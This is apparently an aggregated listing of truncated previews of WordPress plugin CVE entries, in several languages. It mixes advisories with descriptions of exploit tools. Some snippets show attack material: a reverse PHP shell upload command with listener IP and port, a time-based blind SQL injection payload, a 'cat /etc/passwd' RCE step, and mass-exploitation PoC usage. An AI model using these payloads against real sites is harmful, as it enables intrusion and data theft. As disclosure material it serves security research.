CVE-2024-1209

CVE-2024-1209 Sensitive Information Exposure via assignments in LearnDash. Unauthenticated visitors can browse and download uploaded assignments. Vulnerability: CVE-2024-1209 Sensitive Information Exposure via assignments CVSS: 5.3 Medium Software: LearnDash sfwd-lms Affected versions: = 4.10.1...

CVE-2026-14483

CVE-2026-14483 — WPL 房地产 RCE 针对 Realtyna WPL Real Estate Listing WordPress 插件的未认证远程代码执行。 字段| 详情 ---|--- CVE| CVE-2026-14483 受影响版本| 默认情况下，脚本仅 攻击运行 WPL 5.2.0 的目标。使用 --force 可覆盖此限制。 图片 漏洞概述 1. 凭据泄露 — 默认的 apikey / apisecret 通过公开的 SQL 迁移转储文件暴露。 2. 未认证上传 — 这些凭据可通过 WPL I/O API（setproperty）进行认证，从而允许将精心构造...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 反向shell上传 基于h3v0x编写的exploit的WpDiscuz 7.0.4漏洞利用程序。 利用该漏洞并上传一个反向PHP shell。灵感来源于Blogger CTF。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用示例：...

CVE-2024-28000

LiteSpeed Cache 権限昇格 PoC - CVE-2024-28000 このリポジトリには、LiteSpeed Cache WordPressプラグインの権限昇格脆弱性を悪用するためのProof of Concept（PoC）スクリプトが含まれています。CVE-2024-28000 として識別されるこの脆弱性は、認証されていないユーザーがプラグインで使用される弱いセキュリティハッシュをブルートフォースすることで、WordPressサイトへの管理者レベルのアクセスを取得することを可能にします。 脆弱性の概要 LiteSpeed...

CVE-2026-5718-Lab

CVE-2026-5718 ローカル Docker ラボ ローカル専用の脆弱性版・修正版 Docker ラボで CVE-2026-5718 を扱います。この脆弱性は WordPress プラグイン Drag and Drop Multiple File Upload for Contact Form 7 に影響します。 このラボでは、脆弱性バージョン 1.3.9.6 と修正バージョン 1.3.9.7 の違いを、Docker 環境内でのみ動作する最小限の害の PHP 実行プルーフを用いて示します。 スコープ: localhost / Docker ネットワークのみ。この PoC...

CVE-2022-0441

在 WordPress 上的 MasterStudy LMS Plugin（WordPress 插件）2.7.5 及之前版本中发现了一个被归类为严重的漏洞。该漏洞影响 New Account Handler 组件的某个未知部分。对未知输入进行操纵会导致权限管理漏洞。该漏洞的 CWE 定义为 CWE-269。该软件未能正确地为参与者分配、修改、跟踪或检查权限，从而为该参与者创建了非预期的控制范围。已知其影响会危害机密性、完整性和可用性。 该弱点于 03/07/2022 以编号 2667195 披露。公告可在 wpscan.com 获取。该漏洞自 02/01/2022 起被命名为...

CVE-2024-50491

CVE-2024-50491 RSVP ME = 1.9.9 - 未认证的SQL注入 描述 WordPress的RSVP ME插件在版本1.9.9及以下存在SQL注入漏洞，原因是对用户提供的参数转义不充分，并且对现有SQL查询准备不充分。这使得未经认证的攻击者能够将额外的SQL查询追加到已有查询中，从而从数据库中提取敏感信息。 详细信息 类型 : plugin Slug : rsvp-me 受影响的版本 : 1.9.9 CVSS 分数 : 7.5 CVSS 评级 : 高危 CVSS 向量 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVE...

CVE-2024-9796

CVE-2024-9796 WordPress WP-Advanced-Search = 5.0.12 time-based blind IF - comment Payload: t=wpautosuggest&f=ifnow=sysdate,SLEEP9,0-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'...

MASS-CVE-2024-27956

MASS-CVE-2024-27956-RCE CVE-2024-27956のPoCです。ValvePress AutomaticプラグインにおけるSQLインジェクションです。このPoCは脆弱性を悪用して、ターゲットにユーザーを作成し、管理者権限を付与します。WordPressで管理者になることで、リモートコード実行が可能になります。 使用方法 root@kitploit: git clone https://github.com/itzheartzz/MASS-CVE-2024-27956/ cd MASS-CVE-2024-27956 python3 exploit.py list....

CVE-2026-6433

CVE-2026-6433 — 概念验证 FlipperCode — Custom CSS, JS & PHP · 未认证 SQL 注入 → RCE （通过 eval） 受影响：FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · 经 admin-ajax.php 暴露的 WordPress 插件攻击面 概览 项目| 详情 ---|--- 攻击向量| 未认证 SQL 注入，经插件 AJAX 操作传输 影响| 在 WordPress 主机上远程执行代码（payload 写入文档根目录，随后在 PHP 上下文中执行） 脚本| CVE-2026-6433.py ...

WordPress PublishPress Authors plugin <= 4.15.0 - Authenticated (Author+) Stored Cross-Site Scripting vulnerability

Authenticated Author+ Stored Cross-Site Scripting vulnerability discovered by Athiwat Tiprasaharn Jitlada in WordPress Plugin PublishPress Authors versions = 4.15.0...

CVE-2026-9018

CVE-2026-9018 CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | 未认证权限提升 研究作者： Atomic Edge 严重性： 高 | CVSS: 8.8 | 需要认证： 无 概述 在 Easy Elements for Elementor – Addons & Website Templates WordPress 插件（版本 ≤ 1.4.5）中存在一个未认证权限提升漏洞。easyelhandleregister 函数通过 wpajaxnopriveelregister AJAX 处理器暴露，将攻击者控制的...

CVE-2026-1405

CVE-2026-1405 Slider Future = 1.0.5 - 未认证任意文件上传 🚀 CVE-2026-1405.py — Slider Future 批量利用工具 🩸 漏洞概述 组件： Slider Future（WordPress 插件） 受影响版本： ≤ 1.0.5 漏洞类型： 未认证任意文件上传 CVE： CVE-2026-1405 CVSS 评分： 9.8（严重） WordPress 的 Slider Future 插件在所有版本（包括 1.0.5）中，由于 sliderfuturehandleimageupload...

CVE-2023-1405

CVE-2023-1405 Formidable Forms = 6.1.2 - 未经身份验证的PHP对象注入 描述： Formidable Forms WordPress插件在版本6.1.2及之前存在PHP对象注入漏洞，通过反序列化来自表单提交的不可信输入实现。这允许未经身份验证的攻击者注入PHP对象。受影响插件本身不存在POP链。如果目标系统上安装了其他插件或主题提供了POP链，则可能允许攻击者删除任意文件、检索敏感数据或执行代码。 root@kitploit: Type: plugin CVSS Score: 9.8 CVSS Vector:...

CVE-2018-15877-RCE

CVE-2018-15877-RCE WordPress用Planview Activity Monitorプラグインを介したRCE。 必要条件: Python3 Selenium 使用方法: root@kitploit: ./exploit.py...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPressプラグイン RCE system'cat /etc/passwd' ✅ ステップ2 – Python HTTPサーバーを起動 Pythonを使用してペイロードを提供します： root@kitploit: python3 -m http.server 8000 これにより、payload.txtが次のURLでアクセス可能になります：...

CVE-2023-4631

ID de CVE : CVE-2023-4631 Tipo de Vulnerabilidad : Suplantación de Dirección IP Descripción : El plugin DoLogin Security para WordPress es vulnerable a la suplantación de dirección IP en versiones hasta la 3.6 inclusive. Esto se debe a restricciones insuficientes sobre dónde se recupera la...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2022-1329

CVE-2022-1329 WordPress 的 Elementor Website Builder 插件存在漏洞，由于 /core/app/modules/onboarding/module.php 文件中缺少权限检查，导致多个 AJAX 操作可被未授权执行。攻击者可以利用该漏洞修改站点数据，并上传可用于获取远程代码执行权限的恶意文件，影响版本为 3.6.0 至 3.6.2。 身份验证| 复杂度| 攻击向量 ---|---|--- 单一| 低| 网络 机密性| 完整性| 可用性 ---|---|--- 部分| 部分| 部分 CVSS 评分：6.5 参考资料...

CVE-2022-0441

CVE-2022-0441 root@kitploit: Title: WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation Date: 16.02.2022 Author: Numan Türle CVE: CVE-2022-0441 Software Link: https://wordpress.org/plugins/masterstudy-lms-learning-management-system/ Version: 2.7.6 安装 root@kitploit: git...